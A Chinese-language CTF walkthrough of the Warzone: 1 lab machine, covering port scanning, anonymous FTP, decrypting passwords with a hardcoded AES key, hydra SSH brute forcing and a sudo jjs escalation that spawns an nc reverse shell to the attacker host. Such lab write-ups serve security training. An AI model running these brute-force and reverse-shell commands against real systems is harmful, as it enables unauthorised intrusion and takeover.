WARZONE: 1
一、基本信息
名称:Warzone: 1
发布日期:2020.10.24
作者:AL1ENUM
系列:Warzone
推特: @AL1ENUM
二、靶机简介
Flags:
captain:/~/Desktop/user.txt
root:/root/Desktop/root.txt
难度:中等
三、文件信息
文件名:Warzone.ova
文件大小:2.2GB
下载地址:
MD5: 98FC0985C32A2380A0AFBF24222C22D5
SHA1: 0FB9DBC8D8516B462C4E1C8735D41B01D57F2B35
四、镜像信息
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
五、网络信息
DHCP服务:可用
IP地址:自动分配
六、环境配置
1.将靶机warzone1和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
七、攻略步骤
信息探测
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1
| >nmap -sP 192.168.56.0/24,扫描靶机ip
|
2.再进行端口扫描,发现开放了21,22和5000端口,访问5000端口,发现栅栏密码:
1
| >nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.128 | tee nmapscan,端口扫描
|
3.最后再进行一下目录扫描,没有太多值得关注的信息:
1
| >gobuster dir -u http://192.168.56.128:5000 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描
|
页面信息获取
1.栅栏密码的原文应该是Its a warzone,加密后变成Iwotaaznsre,将源码中的字串解密(http://www.atoolbox.net/Tool.php?Id=777)得到路径:
2.访问页面路径,得到8个用户及对应密码加密,加密字段无法用base64直接解开:
FTP匿名登录
1.来到21端口,我们发现ftp服务可匿名登录:
1 2
| ftp 192.168.56.128 anonymous
|
2.在/pub目录下我们能发现note.txt,提示我们密码都是用warzone-encrypt.jar进行加密的:
1 2 3 4 5 6
| cd pub ls -la get note.txt get warzone-encrypt.jar quit cat note.txt
|
jar加密算法反解
1.查看warzone-encrypt.jar,发现是用AES对密码进行加密的,这样的话我们依加密算法写出解密算法即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| Main.java
package encrypt;
import java.util.Base64; import java.util.Scanner; import Other.Obfuscated; import crypto.AES;
public class Main { public static String decrypt(String encryptpasswd) { Obfuscated obs = new Obfuscated(); AES ea = new AES(obs.getIV(), 128, obs.getKey()); try { ea.cipher.init(2, ea.key, ea.iv); byte[] encryptbytes = Base64.getDecoder().decode(encryptpasswd); byte[] decryptbytes = ea.cipher.doFinal(encryptbytes); return new String(decryptbytes); } catch (Exception ex) { throw new RuntimeException(ex.getMessage()); } }
public static void main(String[] args) { while (true) { Scanner in = new Scanner(System.in); System.out.print("enter the encryptpassword to decrypt : "); String encryptpassword = in.nextLine(); System.out.println("password : " + decrypt(encryptpassword)); } } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| AES.java
package crypto;
import Other.Obfuscated; import java.security.Key; import java.security.MessageDigest; import java.util.Base64; import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec;
public class AES { public static final IvParameterSpec DEFAULT_IV = new IvParameterSpec(new byte[19]); public static final String ALGORITHM = "AES"; public static final String TRANSFORMATION = "AES/CBC/PKCS5Padding"; public Key key; public IvParameterSpec iv; public Cipher cipher; public AES(String key) { this(key, 128); } public AES(String key, int bit) { this(key, bit, null); } public AES(String key, int bit, String iv) { if (bit == 256) { this.key = new SecretKeySpec(getHash("SHA-256", key), "AES"); } else { this.key = new SecretKeySpec(getHash("MD5", key), "AES"); } if (iv != null) { this.iv = new IvParameterSpec(getHash("MD5", iv)); } else { this.iv = DEFAULT_IV; } init(); } public static byte[] getHash(String algorithm, String text) { try { return getHash(algorithm, text.getBytes("UTF-8")); } catch (Exception ex) { throw new RuntimeException(ex.getMessage()); } } public static byte[] getHash(String algorithm, byte[] data) { try { MessageDigest digest = MessageDigest.getInstance(algorithm); digest.update(data); return digest.digest(); } catch (Exception ex) { throw new RuntimeException(ex.getMessage()); } } public void init() { try { this.cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); } catch (Exception ex) { throw new RuntimeException(ex.getMessage()); } } public String encrypt(String str) { try { return encrypt(str.getBytes("UTF-8")); } catch (Exception ex) { throw new RuntimeException(ex.getMessage()); } } public String encrypt(byte[] data) { try { this.cipher.init(1, this.key, this.iv); byte[] encryptData = this.cipher.doFinal(data); return new String(Base64.getEncoder().encode(encryptData)); } catch (Exception ex) { throw new RuntimeException(ex.getMessage()); } } public static String encryptString(String content) { Obfuscated obs = new Obfuscated(); AES ea = new AES(obs.getIV(), 128, obs.getKey()); return ea.encrypt(content); } }
|
1 2 3 4 5 6 7 8 9 10 11 12
| Obfuscated.java package Other;
public class Obfuscated { public String getIV() { return "w4rz0n3s3cur31vv"; } public String getKey() { return "w4rz0n3s3cur3k3y"; } }
|
2.将用户和加密后密码输入得到对应的用户及解密密码字典,利用hydra进行ssh爆破:
1
| hydra -L user.dic -P pass.dic ssh://192.168.56.128
|
初步提权
1.ssh登录commando用户,查看历史:
1 2 3
| ssh commando@192.168.56.128
cat .bash_history
|
2.可以发现/home/captain/Desktop目录下有user.txt,但我们无权查看:
1 2 3
| cd /home/captain/Desktop ls -la cat user.txt
|
3.在/.crypt目录下能发现readme.txt,readme.txt提醒密码就在这里,还有一段加密程序encrypt.py和.c:
1 2 3
| cd .crypt ls -la cat readme.txt
|
4.查看encrypt.py,.c和script.sh,我们能够知道script.sh是将参数输入encrypt.py后由encrypt.py加密生成.c中的字串,我们可以写一个解密程序,将captain用户的密码解密出来:
1 2 3
| cat encrypt.py cat .c cat script.sh
|
1 2 3 4 5 6 7 8 9 10 11
| pip3 install simple-crypt
from simplecrypt import encrypt, decrypt import os import base64
key = 'sekret' text = base64.b64decode('c2MAAk1Y/hAsEsn+FasElyXvGSI0JxD+n/SCtXbHNM+1/YEU54DO0EQRDfD3wz/lrbkXEBJJJd1ylXZpi/2dopaklmG6NCAXfGKl1eWAUNU1Iw==') passwd = decrypt(key, text) print(passwd)
|
5.登录到captain用户,可以查看第一个flag,user.txt:
root提权
1.通过sudo -l命令,可以看到jjs(jjs是让javascript可以调用java)可以执行特权命令:
2.那我们可以写一个java的shell提权利用js去调用再使用jjs去执行:
1
| echo "Java.type('java.lang.Runtime').getRuntime().exec('/usr/bin/nc -e /bin/bash 192.168.56.102 1234')"|sudo jjs
|
3.成功提权到root,并可以在/root/Desktop下发现第二个flag,root.txt:
1 2 3
| cd /root/Desktop ls -la cat root.txt
|